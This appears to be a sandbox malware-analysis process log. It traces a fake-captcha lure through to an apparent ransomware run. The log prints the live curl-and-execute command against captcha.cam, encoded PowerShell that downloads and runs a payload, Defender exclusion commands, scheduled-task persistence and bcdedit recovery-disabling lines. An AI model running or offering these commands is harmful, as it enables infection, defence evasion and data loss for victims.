firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 2348 3164 firefox.exe 84 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 PID 3164 wrote to memory of 4580 3164 firefox.exe 85 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "http://medai.tv"1⤵
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url http://medai.tv2⤵
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2024 -parentBuildID 20240401114208 -prefsHandle 1952 -prefMapHandle 1944 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {620725ce-d37a-4778-9e5c-ce3b2415d626} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" gpu3⤵PID:2348
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a496ff7-0aae-49e8-8fc0-c6305609457b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" socket3⤵
- Checks processor information in registry
PID:4580
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -childID 1 -isForBrowser -prefsHandle 3136 -prefMapHandle 2876 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {915828fe-d4d7-4d1c-bc42-e3e42f14a847} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:1060
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3836 -childID 2 -isForBrowser -prefsHandle 3816 -prefMapHandle 3812 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f14e08e4-0c11-4adc-8314-5c1600d61e91} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:4728
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4700 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4768 -prefMapHandle 4760 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9b485586-9cea-4978-b02d-bb59827b390b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" utility3⤵
- Checks processor information in registry
PID:3464
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5448 -childID 3 -isForBrowser -prefsHandle 5440 -prefMapHandle 5436 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b138b95d-bab9-40a6-a376-ba82a321ca0d} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:988
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5176 -childID 4 -isForBrowser -prefsHandle 3196 -prefMapHandle 3192 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d2be3cfc-694d-4bb1-b9e1-36b2183dbd8b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:3316
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3068 -childID 5 -isForBrowser -prefsHandle 5112 -prefMapHandle 5160 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c4f05d8-4e52-4d98-be2b-2afb6c0e885c} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:1400
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5772 -childID 6 -isForBrowser -prefsHandle 5764 -prefMapHandle 3192 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c1a0e9f-683c-415b-94ca-23194187abda} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:2968
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6028 -childID 7 -isForBrowser -prefsHandle 5888 -prefMapHandle 5884 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0da9d7b8-9ed3-4fb8-b7a8-ab487d14501f} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:3600
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6892 -childID 8 -isForBrowser -prefsHandle 6884 -prefMapHandle 6880 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4ab18e4-3933-4478-9c22-54e233e1cf01} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:1060
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7096 -parentBuildID 20240401114208 -prefsHandle 7108 -prefMapHandle 6852 -prefsLen 34727 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d7eb136-0384-43da-868c-e4abe97c7748} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" rdd3⤵PID:5152
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5904 -childID 9 -isForBrowser -prefsHandle 6176 -prefMapHandle 6160 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d2a67a6-e5ad-4f36-9656-15569ce273f8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5744
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7820 -childID 10 -isForBrowser -prefsHandle 7440 -prefMapHandle 7796 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b42621e9-22b6-4183-9ab9-c69107416d41} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:3612
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8356 -childID 11 -isForBrowser -prefsHandle 8352 -prefMapHandle 8340 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb728318-c5ab-4973-a84f-834645f0b042} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:4036
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8628 -childID 12 -isForBrowser -prefsHandle 8636 -prefMapHandle 8640 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f0dcf3d-7f44-493c-9d4b-30b55e725b8e} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:2228
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8880 -childID 13 -isForBrowser -prefsHandle 8888 -prefMapHandle 8896 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dc67a5c4-7184-4f30-8a9f-05b19419caa6} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5164
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8352 -childID 14 -isForBrowser -prefsHandle 9152 -prefMapHandle 9148 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f8721d67-e7b7-4cb8-9988-4da717b8c197} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5168
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9316 -childID 15 -isForBrowser -prefsHandle 9328 -prefMapHandle 9268 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {da9f4cf7-9ebb-4a6c-8586-e5263881f1e8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5156
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9588 -childID 16 -isForBrowser -prefsHandle 9580 -prefMapHandle 9576 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e5e8711d-1d75-45d8-941b-9c09e0baf1eb} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5308
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9048 -childID 17 -isForBrowser -prefsHandle 6112 -prefMapHandle 8452 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {50abcf16-a525-4c19-b3a0-b219561f7e17} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5212
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6112 -childID 18 -isForBrowser -prefsHandle 6172 -prefMapHandle 8332 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c66c6a5-34e7-4a4d-b311-b2c778483ef8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:4504
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8564 -childID 19 -isForBrowser -prefsHandle 6172 -prefMapHandle 6828 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e792425c-a400-4e7c-a9c7-84b394326976} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:6420
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5880 -childID 20 -isForBrowser -prefsHandle 8200 -prefMapHandle 7176 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0614e1e7-0dd3-4c76-9616-831dd0a4caa2} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:6640
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8504 -childID 21 -isForBrowser -prefsHandle 5952 -prefMapHandle 5964 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3bb5977c-38ec-47d1-bcec-09659dc87d86} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:6824
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5952 -childID 22 -isForBrowser -prefsHandle 8752 -prefMapHandle 8756 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {84107c5d-1f81-469e-8a9f-fd7c266b162a} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:4812
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8748 -childID 23 -isForBrowser -prefsHandle 5992 -prefMapHandle 8720 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecb4f405-1d19-4e15-98f4-5cf420503e03} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:4036
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8956 -childID 24 -isForBrowser -prefsHandle 8936 -prefMapHandle 9576 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28b43466-36db-46fe-bf0d-6d46f6b9c05f} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5764
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8616 -childID 25 -isForBrowser -prefsHandle 6896 -prefMapHandle 8652 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {59115419-6150-4a5b-ac80-16e4e3b78467} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5724
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10140 -childID 26 -isForBrowser -prefsHandle 10220 -prefMapHandle 10216 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b7b88662-c498-46e6-9cc1-e8a47d5a79c9} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab3⤵PID:5664
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd" && "C:\Users\Admin\AppData\Local\Temp\1.cmd"" # Press OK or ENTER to complete verification. By pressing OK you confirm you are not a robot.1⤵PID:968
-
C:\Windows\system32\curl.execurl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd"2⤵PID:5008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3120
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\AppData\Local\Temp\1.cmd"' -ArgumentList 'am_admin'"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1.cmd" am_admin3⤵PID:3936
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3612
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5024 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3896 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\5⤵PID:3588
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:380 -
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3752 -
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
PID:3128
-
-
C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1576 -
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f7⤵
- Scheduled Task/Job: Scheduled Task
PID:3456
-
-
C:\Windows\system32\cmd.exe"cmd" /K CHCP 4377⤵
- Checks computer location settings
- Modifies registry class
PID:5244 -
C:\Windows\system32\chcp.comCHCP 4378⤵PID:5216
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2010_x64.log-MSI_vc_red.msi.txt8⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:5424
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2010_x86.log-MSI_vc_red.msi.txt8⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:5356
-
-
-
C:\Windows\system32\cmd.exe"cmd" /K CHCP 4377⤵PID:6980
-
C:\Windows\system32\chcp.comCHCP 4378⤵PID:5536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell8⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2256
-
-
-
C:\Windows\system32\cmd.exe"cmd" /K CHCP 4377⤵PID:4628
-
C:\Windows\system32\chcp.comCHCP 4378⤵PID:3340
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624 -
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set -encodedCommand ZABlAGYAYQB1AGwAdAA= recoveryenabled No -inputFormat xml -outputFormat text9⤵
- Modifies boot configuration data using bcdedit
PID:868
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /delete -encodedCommand ZABlAGYAYQB1AGwAdAA= /f -inputFormat xml -outputFormat text9⤵
- Modifies boot configuration data using bcdedit
PID:4212
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /enum9⤵
- Modifies boot configuration data using bcdedit
PID:7032
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set -encodedCommand YwB1AHIAcgBlAG4AdAA= recoveryenabled No -inputFormat xml -outputFormat text9⤵
- Modifies boot configuration data using bcdedit
PID:6188
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /delete -encodedCommand YwB1AHIAcgBlAG4AdAA= /f -inputFormat xml -outputFormat text9⤵
- Modifies boot configuration data using bcdedit
PID:6252
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set -encodedCommand YwB1AHIAcgBlAG4AdAA= recoveryenabled No -inputFormat xml -outputFormat text9⤵
- Modifies boot configuration data using bcdedit
PID:6392
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /delete -encodedCommand YwB1AHIAcgBlAG4AdAA= /f -inputFormat xml -outputFormat text9⤵
- Modifies boot configuration data using bcdedit
PID:6272
-
-
-
-
C:\Windows\System32\shutdown.exe"C:\Windows\System32\shutdown.exe" /s /t 07⤵
- Suspicious use of AdjustPrivilegeToken
PID:2024
-
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "1⤵PID:5056
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5160
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5292 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin3⤵PID:5412
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5464
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5576 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5684
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5804 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\5⤵PID:5916
-
-
-
